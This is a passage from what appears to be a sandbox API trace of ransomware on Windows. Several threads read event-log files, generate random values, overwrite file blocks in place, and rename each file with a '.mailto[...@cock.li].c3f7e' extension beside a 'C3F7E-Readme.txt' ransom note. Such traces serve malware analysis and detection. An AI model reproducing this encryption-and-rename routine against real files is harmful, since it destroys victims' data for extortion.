	[0074.395] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732dd0) returned 1
	[0074.395] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73e40) returned 1
	[0074.395] WriteFile (in: hFile=0x81c, lpBuffer=0x2e28780*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x840fa30, lpOverlapped=0x0 | out: lpBuffer=0x2e28780*, lpNumberOfBytesWritten=0x840fa30*=0xc800, lpOverlapped=0x0) returned 1
	[0074.552] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e28780) returned 1
	[0074.555] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e0f770) returned 1
	[0074.558] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7b) returned 0x2e35be8
	[0074.558] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.559] WriteFile (in: hFile=0x81c, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x15f, lpNumberOfBytesWritten=0x840fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x840fab0*=0x15f, lpOverlapped=0x0) returned 1
	[0074.635] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0074.635] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e35e08) returned 1
	[0074.635] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781648) returned 1
	[0074.635] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e35be8) returned 1
	[0074.635] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0074.635] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781698) returned 1
	[0074.635] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0074.635] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781490) returned 1
	[0074.635] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x2d7e7b8
	[0074.635] wcscpy (in: _Dest=0x2d7e7b8, _Source="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx"
	[0074.635] wcscat (in: _Dest=0x2d7e7b8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0074.635] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x840fa68, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0074.635] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x2d89460
	[0074.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0074.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6feb8) returned 1
	[0074.644] NtQueryInformationFile (in: FileHandle=0x81c, IoStatusBlock=0x840fa74, FileInformation=0x840fa4c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x840fa74, FileInformation=0x840fa4c) returned 0x0
	[0074.645] NtSetInformationFile (FileHandle=0x81c, IoStatusBlock=0x840fa74, FileInformation=0x840fa4c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0074.645] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7e7b8) returned 1
	[0074.645] FlushFileBuffers (hFile=0x81c) returned 1
	[0074.656] CloseHandle (hObject=0x81c) returned 1
	[0074.657] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70700
	[0074.657] wcscpy (in: _Dest=0x2d70700, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.657] wcscat (in: _Dest=0x2d70700, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0074.657] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0074.657] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70700) returned 1
	[0074.657] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5aab8) returned 1

Thread:
	id = 140
	os_tid = 0xd1c

	[0074.373] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 0x20
	[0074.402] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0074.402] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x80c
	[0074.402] GetFileSizeEx (in: hFile=0x80c, lpFileSize=0x848fdb4 | out: lpFileSize=0x848fdb4*=69632) returned 1
	[0074.402] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.403] ReadFile (in: hFile=0x80c, lpBuffer=0x848fd38, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x848fd34, lpOverlapped=0x0 | out: lpBuffer=0x848fd38*, lpNumberOfBytesRead=0x848fd34*=0x4, lpOverlapped=0x0) returned 1
	[0074.446] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.446] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781710
	[0074.446] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781508
	[0074.446] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781738
	[0074.446] NtQuerySystemTime (in: CurrentTime=0x848fd14 | out: CurrentTime=0x848fd14*=132251868011821521) returned 0x0
	[0074.446] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0x5c7a44c0
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0xdde07c89
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0xd60cb63c
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0x1a4a1442
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0xf290da1e
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0x8a02d4df
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0x9fa50043
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0x65977155
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0xa6ab8a06
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0x54c2f835
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0xff268e76
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0x6decff6
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0x9d4a9401
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0x3a9182a
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0x25233a59
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0xfb867c58
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0x28fb26
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0x1e888434
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0x69c9155a
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0xa61654e2
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0x7aacf49b
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0x35f358a2
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0x59ade6d7
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0xe0cb370b
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0x1d00d72b
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0x6c091851
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0x8e03b58e
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0xa789522a
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0x7946683c
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0x3681c074
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0x6df776f2
	[0074.447] RtlRandom (in: Seed=0x848fd20 | out: Seed=0x848fd20) returned 0x5c2e2448
	[0074.503] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.503] ReadFile (in: hFile=0x80c, lpBuffer=0x2e1bf78, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x848fcf4, lpOverlapped=0x0 | out: lpBuffer=0x2e1bf78*, lpNumberOfBytesRead=0x848fcf4*=0xc800, lpOverlapped=0x0) returned 1
	[0074.570] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.570] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73978
	[0074.570] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x47330a0
	[0074.570] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781418
	[0074.570] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781418) returned 1
	[0074.571] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2e28780
	[0074.573] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781418
	[0074.573] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0074.573] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0074.573] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47330a0) returned 1
	[0074.573] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73978) returned 1
	[0074.573] WriteFile (in: hFile=0x80c, lpBuffer=0x2e28780*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x848fcf4, lpOverlapped=0x0 | out: lpBuffer=0x2e28780*, lpNumberOfBytesWritten=0x848fcf4*=0xc800, lpOverlapped=0x0) returned 1
	[0074.619] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e28780) returned 1
	[0074.619] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e1bf78) returned 1
	[0074.619] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6f) returned 0x4733118
	[0074.619] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.619] WriteFile (in: hFile=0x80c, lpBuffer=0x2d865f0*, nNumberOfBytesToWrite=0x153, lpNumberOfBytesWritten=0x848fd74, lpOverlapped=0x0 | out: lpBuffer=0x2d865f0*, lpNumberOfBytesWritten=0x848fd74*=0x153, lpOverlapped=0x0) returned 1
	[0074.624] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d865f0) returned 1
	[0074.624] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04900) returned 1
	[0074.624] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ad8) returned 1
	[0074.624] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733118) returned 1
	[0074.624] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781418) returned 1
	[0074.624] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781508) returned 1
	[0074.624] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814b8) returned 1
	[0074.624] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0074.624] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x2d896d0
	[0074.624] wcscpy (in: _Dest=0x2d896d0, _Source="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx"
	[0074.624] wcscat (in: _Dest=0x2d896d0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0074.624] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x848fd2c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0074.624] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2d6ff90
	[0074.657] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6ff90) returned 1
	[0074.657] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7e2d8) returned 1
	[0074.657] NtQueryInformationFile (in: FileHandle=0x80c, IoStatusBlock=0x848fd38, FileInformation=0x848fd10, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x848fd38, FileInformation=0x848fd10) returned 0x0
	[0074.657] NtSetInformationFile (FileHandle=0x80c, IoStatusBlock=0x848fd38, FileInformation=0x848fd10, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0074.658] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d896d0) returned 1
	[0074.664] FlushFileBuffers (hFile=0x80c) returned 1
	[0074.665] CloseHandle (hObject=0x80c) returned 1
	[0074.665] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70c40
	[0074.665] wcscpy (in: _Dest=0x2d70c40, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.665] wcscat (in: _Dest=0x2d70c40, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0074.665] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0074.665] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70c40) returned 1
	[0074.665] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5fe48) returned 1

Thread:
	id = 141
	os_tid = 0xd64

	[0074.404] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 0x20
	[0074.548] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0074.549] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8b4
	[0074.549] GetFileSizeEx (in: hFile=0x8b4, lpFileSize=0x850faf4 | out: lpFileSize=0x850faf4*=69632) returned 1
	[0074.549] SetFilePointerEx (in: hFile=0x8b4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.549] ReadFile (in: hFile=0x8b4, lpBuffer=0x850fa78, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x850fa74, lpOverlapped=0x0 | out: lpBuffer=0x850fa78*, lpNumberOfBytesRead=0x850fa74*=0x4, lpOverlapped=0x0) returned 1
	[0074.601] SetFilePointerEx (in: hFile=0x8b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.602] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77358
	[0074.602] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816e8
	[0074.602] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818c8
	[0074.602] NtQuerySystemTime (in: CurrentTime=0x850fa54 | out: CurrentTime=0x850fa54*=132251868013383934) returned 0x0
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0xb6a89c34
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0xef461e8b
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0xf9218519
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0xee4a9080
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0x3feeb02b
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0xe50abdd1
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0xfe92b81d
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0x5d62f0af
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0x476aa957
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0x6a09c116
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0x535496da
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0x5dc30ec4
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0x243d73d8
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0xf7b9ed3d
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0xa22a1603
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0x5911422f
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0x4a266a70
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0x43edf1e1
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0x5b612c43
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0xfcff85e4
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0x68a4141f
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0x56794955
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0x9755ce6
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0x2584e017
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0x14b879c
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0xb9a72d0
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0xdb70be22
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0xb94b505e
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0x830d9a01
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0x300739ad
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0xd9427802
	[0074.602] RtlRandom (in: Seed=0x850fa60 | out: Seed=0x850fa60) returned 0x2546b2a1
	[0074.612] SetFilePointerEx (in: hFile=0x8b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.612] ReadFile (in: hFile=0x8b4, lpBuffer=0x47a9fc0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x850fa34, lpOverlapped=0x0 | out: lpBuffer=0x47a9fc0*, lpNumberOfBytesRead=0x850fa34*=0xc800, lpOverlapped=0x0) returned 1
	[0074.631] SetFilePointerEx (in: hFile=0x8b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.631] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73978
	[0074.631] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0074.631] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0074.631] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c18) returned 1
	[0074.632] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2e3afa8
	[0074.634] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47bf0
	[0074.634] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e477e0
	[0074.635] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e477e0) returned 1
	[0074.635] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0074.635] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73978) returned 1
	[0074.635] WriteFile (in: hFile=0x8b4, lpBuffer=0x2e3afa8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x850fa34, lpOverlapped=0x0 | out: lpBuffer=0x2e3afa8*, lpNumberOfBytesWritten=0x850fa34*=0xc800, lpOverlapped=0x0) returned 1
	[0074.655] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3afa8) returned 1
	[0074.667] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a9fc0) returned 1
	[0074.668] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8d) returned 0x2d78ed0
	[0074.668] SetFilePointerEx (in: hFile=0x8b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.668] WriteFile (in: hFile=0x8b4, lpBuffer=0x2d865f0*, nNumberOfBytesToWrite=0x171, lpNumberOfBytesWritten=0x850fab4, lpOverlapped=0x0 | out: lpBuffer=0x2d865f0*, lpNumberOfBytesWritten=0x850fab4*=0x171, lpOverlapped=0x0) returned 1
	[0074.711] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d865f0) returned 1
	[0074.711] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79260) returned 1
	[0074.711] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a38) returned 1
	[0074.711] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78ed0) returned 1
	[0074.711] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47bf0) returned 1
	[0074.712] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816e8) returned 1
	[0074.712] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47830) returned 1
	[0074.712] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0074.712] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x2d865f0
	[0074.712] wcscpy (in: _Dest=0x2d865f0, _Source="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx"
	[0074.712] wcscat (in: _Dest=0x2d865f0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0074.712] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x850fa6c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0074.712] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x2d89948
	[0074.713] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89948) returned 1
	[0074.713] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d866d0) returned 1
	[0074.713] NtQueryInformationFile (in: FileHandle=0x8b4, IoStatusBlock=0x850fa78, FileInformation=0x850fa50, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x850fa78, FileInformation=0x850fa50) returned 0x0
	[0074.713] NtSetInformationFile (FileHandle=0x8b4, IoStatusBlock=0x850fa78, FileInformation=0x850fa50, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0074.714] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d865f0) returned 1
	[0074.714] FlushFileBuffers (hFile=0x8b4) returned 1
	[0074.736] CloseHandle (hObject=0x8b4) returned 1
	[0074.737] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70700
